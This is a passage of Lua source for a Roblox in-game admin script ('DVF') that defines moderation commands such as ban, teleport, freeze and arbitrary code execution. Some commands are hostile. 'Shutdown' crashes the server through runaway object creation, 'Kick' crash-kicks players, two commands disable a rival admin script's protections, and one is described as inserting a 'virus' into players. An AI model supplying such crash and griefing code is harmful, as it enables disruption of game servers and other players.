	local FoundLocal = false
1699
	for _,name in pairs(PlrTab) do
1700
		ypcall(function()
1701
			for _,v in pairs(name.Character:GetChildren()) do
1702
				if string.find(v.Name:lower(), ScriptName) then
1703
					if v:IsA("Script") or v:IsA("LocalScript") then
1704
						v.Disabled = true
1705
						v:Destroy()
1706
						FoundLocal = true
1707
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1708
					end
1709
				end
1710
			end
1711
		end)
1712
		ypcall(function()
1713
			for _,v in pairs(name.Backpack:GetChildren()) do
1714
				if string.find(v.Name:lower(), ScriptName) then
1715
					if v:IsA("Script") or v:IsA("LocalScript") then
1716
						v.Disabled = true
1717
						v:Destroy()
1718
						FoundLocal = true
1719
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1720
					end
1721
				end
1722
			end
1723
		end)
1724
		ypcall(function()
1725
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1726
				if string.find(v.Name:lower(), ScriptName) then
1727
					if v:IsA("Script") or v:IsA("LocalScript") then
1728
						v.Disabled = true
1729
						v:Destroy()
1730
						FoundLocal = true
1731
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1732
					end
1733
				end
1734
			end
1735
		end)
1736
		if FoundLocal == false then
1737
			Ping("Local Script Not Found", Speaker, 5)
1738
		end
1739
	end
1740
end)
1741
1742
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1743
	for _,v in pairs(game:GetChildren()) do
1744
		ypcall(function()
1745
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1746
				for _,a in pairs(v:GetChildren()) do
1747
					ypcall(function()
1748
						a:Destroy()
1749
					end)
1750
				end
1751
			elseif v.Name == "Players" then
1752
				for _,plr in pairs(v:GetPlayers()) do
1753
					Clear(plr)
1754
				end
1755
			end
1756
		end)
1757
	end
1758
	Clean()
1759
	Fixl()
1760
	Ping("Fully Cleaned", Speaker, 5)
1761
end)
1762
1763
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1764
	LClean()
1765
	Fixl()
1766
	Ping("Lightly Cleaned", Speaker, 5)
1767
end)
1768
1769
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1770
	local PlrTab = getPlayer(Speaker, Msg)
1771
	if #PlrTab > 0 then
1772
		for _,v in pairs(PlrTab) do
1773
			ypcall(function()
1774
				v:LoadCharacter()
1775
				Ping("Reset "..v.Name, Speaker, 5)
1776
			end)
1777
		end
1778
	end
1779
end)
1780
1781
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1782
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1783
	if Work:findFirstChild("Base") then
1784
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1785
	else
1786
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1787
	end
1788
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1789
end)
1790
1791
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1792
	local PlrTab = getPlayer(Speaker, Msg)
1793
	if #PlrTab > 0 then
1794
		for _,v in pairs(PlrTab) do
1795
			ypcall(function()
1796
				v.Character.Torso.Anchored = true
1797
				Ping("Froze "..v.Name, Speaker, 5)
1798
			end)
1799
		end
1800
	end
1801
end)
1802
1803
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1804
	local PlrTab = getPlayer(Speaker, Msg)
1805
	if #PlrTab > 0 then
1806
		for _,v in pairs(PlrTab) do
1807
			ypcall(function()
1808
				for _,v2 in pairs(v.Character:GetChildren()) do
1809
					ypcall(function()
1810
						v.Anchored = false
1811
					end)
1812
				end
1813
				Ping("Thawed "..v.Name, Speaker, 5)
1814
			end)
1815
		end
1816
	end
1817
end)
1818
1819
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1820
	local PlrTab = getPlayer(Speaker, Msg)
1821
	if #PlrTab > 0 then
1822
		for _,v in pairs(PlrTab) do
1823
			ypcall(function()
1824
				Instance.new("ForceField", v.Character)
1825
			end)
1826
		end
1827
	end
1828
end)
1829
1830
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1831
	local PlrTab = getPlayer(Speaker, Msg)
1832
	if #PlrTab > 0 then
1833
		for _,v in pairs(PlrTab) do
1834
			ypcall(function()
1835
				RemObj(v.Character, "ForceField")
1836
			end)
1837
		end
1838
	end
1839
end)
1840
1841
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1842
	local Split = GetSplit(Msg)
1843
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1844
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1845
	if #PlrTab > 0 and #PlrTab2 > 0 then
1846
		for i,v in pairs(PlrTab) do
1847
			ypcall(function()
1848
				for _,v2 in pairs(PlrTab2) do
1849
					ypcall(function()
1850
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1851
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1852
					end)
1853
				end
1854
			end)
1855
		end
1856
	end
1857
end)
1858
1859
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1860
	MakeExplorer(Speaker)
1861
end)
1862
1863
Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
1864
	wait()
1865
	Dismiss(Speaker)
1866
	NumBanned = 0
1867
	NumCmds = 0
1868
	for i = 1, #Rankings do
1869
		if Rankings[i].Rank < 0 then
1870
			NumBanned = NumBanned + 1
1871
		end
1872
	end
1873
	for i,v in pairs(Commands) do
1874
		NumCmds = NumCmds + 1
1875
	end
1876
	Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
1877
	Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
1878
	Ping("Date Started: 18th May 2013", Speaker)
1879
	Ping("Your ID: "..Speaker.userId, Speaker)
1880
	Ping("Total Number Of Players: "..#All2(), Speaker)
1881
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1882
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1883
	Ping("ShowGarbage", Speaker)
1884
end)
1885
1886
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1887
	Dismiss(Speaker)
1888
	for i,v in pairs(All()) do
1889
		Ping(v.Name.."'s Rank: "..FindRank(v))
1890
	end
1891
end)
1892
1893
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1894
	local Split = GetSplit(Msg)
1895
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1896
	local Speed = tonumber(Msg:sub(Split + 1))
1897
	for _,v in pairs(PlrTab) do
1898
		ypcall(function()
1899
			v.Character.Humanoid.WalkSpeed = Speed
1900
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1901
		end)
1902
	end
1903
end)
1904
1905
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
1906
	local RemoveAB = Instance.new("StringValue")
1907
	RemoveAB.Name = "CBA Attachment"
1908
	RemoveAB.Value = [[CBA.override=true;]]
1909
	RemoveAB.Parent = Work
1910
	Ping("Removed All CBA Anti-Bans", Speaker, 5)
1911
end)
1912
1913
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1914
	Dismiss(Speaker)
1915
	for i,v in pairs(Injected) do
1916
		Ping(i, Speaker)
1917
	end
1918
end)
1919
1920
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
1921
	local RemoveCBA = Instance.new("StringValue")
1922
	RemoveCBA.Name = "CBA Attachment"
1923
	RemoveCBA.Value = [[CBA.remove = false]]
1924
	RemoveCBA.Parent = Work
1925
	Ping("Removed All CBA Admins", Speaker, 5)
1926
end)
1927
1928
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1929
	local function BufferOverflow(object)
1930
		object.DescendantAdded:connect(BufferOverflow)
1931
		Instance.new("IntValue", object)
1932
	end
1933
	BufferOverflow(Game)
1934
end)
1935
1936
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1937
	local PlrTab = getPlayer(Speaker, Msg)
1938
	if #PlrTab > 0 then
1939
		for _,v in pairs(PlrTab) do
1940
			ypcall(function()
1941
				Crash1(v)
1942
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1943
			end)
1944
		end
1945
	end
1946
end)
1947
1948
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1949
	local PlrTab = getPlayer(Speaker, Msg)
1950
	if #PlrTab > 0 then
1951
		for _,v in pairs(PlrTab) do
1952
			ypcall(function()
1953
				ChangeRank(v, -1)
1954
			end)
1955
		end
1956
	end
1957
end)
1958
1959
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1960
	local PlrTab = getPlayer(Speaker, Msg)
1961
	if #PlrTab > 0 then
1962
		for _,v in pairs(PlrTab) do
1963
			ypcall(function()
1964
				ChangeRank(v, -2)
1965
			end)
1966
		end
1967
	end
1968
end)
1969
1970
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
1971
	local PlrTab = getPlayer(Speaker, Msg)
1972
	if #PlrTab > 0 then
1973
		for _,v in pairs(PlrTab) do
1974
			ypcall(function()
1975
				ChangeRank(v, -3)
1976
			end)
1977
		end
1978
	end
1979
end)
1980
1981
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
1982
	ypcall(function()
1983
		local PlrTab = getPlayer(Speaker, Msg)
1984
		if #PlrTab > 0 then
1985
			for _,v in pairs(PlrTab) do
1986
				ypcall(function()
1987
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1988
				end)
1989
			end
1990
		end
1991
		local PlrName = ChangeRank(Msg, 0)
1992
		Ping("Un-Banned "..PlrName, Speaker, 5)
1993
	end)
1994
end)
1995
1996
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
1997
	Dismiss(Speaker)
1998
	Ping("Commands", Speaker, nil, function()
1999
		Dismiss(Speaker.Name)
2000
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2001
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2002
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2003
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2004
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2005
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2006
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2007
		Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
2008
	end)
2009
	Ping("Players", Speaker, nil, function()
2010
		ListPlayers(Speaker)
2011
	end)
2012
end)
2013
2014
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2015
	ListPlayers(Speaker)
2016
end)
2017
2018
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2019
	local Func,Error = loadstring(Msg)
2020
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2021
	getfenv(Func).Speaker = Speaker
2022
	if Error == nil then
2023
		coroutine.wrap(function()
2024
			Func()
2025
		end)()
2026
		Ping("Executed Script!", Speaker, 5)
2027
	else
2028
		Ping(Error, Speaker, 10)
2029
	end
2030
end)
2031
2032
Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
2033
	if LS ~= nil then
2034
		local Split = GetSplit(Msg)
2035
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2036
		local LocalSource = Msg:sub(Split + 1)
2037
		if #PlrTab > 0 then
2038
			for _,v in pairs(PlrTab) do
2039
				local Inserted = LS:Clone()
2040
				Inserted.Disabled = true
2041
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2042
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2043
					Inserted:findFirstChild(OwnSource).Value = v.Name
2044
				end
2045
				Inserted[LSSource].Value = LocalSource
2046
				Inserted.Disabled = false
2047
			end
2048
		end
2049
	else
2050
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2051
	end
2052
end)
2053
2054
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2055
	Msg = tostring(Msg)
2056
	Ping(Msg, Speaker)
2057
end)
2058
2059
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2060
	Dismiss(Speaker)
2061
	for i,v in pairs(getfenv(1)) do
2062
		ypcall(function()
2063
			Ping(tostring(i)..": "..tostring(v), Speaker)
2064
		end)
2065
	end
2066
end)
2067
2068
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2069
	Dismiss()
2070
	Removed = true
2071
	for i,v in pairs(getfenv(1)) do
2072
		getfenv(1)[i] = nil
2073
	end
2074
	script.Disabled = true
2075
end)
2076
2077
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2078
	local Split = GetSplit(Msg)
2079
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2080
	local Rank = tonumber(Msg:sub(Split + 1))
2081
	if #PlrTab > 0 then
2082
		for _,v in pairs(PlrTab) do
2083
			if v.Name ~= Owner then
2084
				ChangeRank(v, Rank)
2085
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2086
			end
2087
		end
2088
	end
2089
end)
2090
2091
--This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).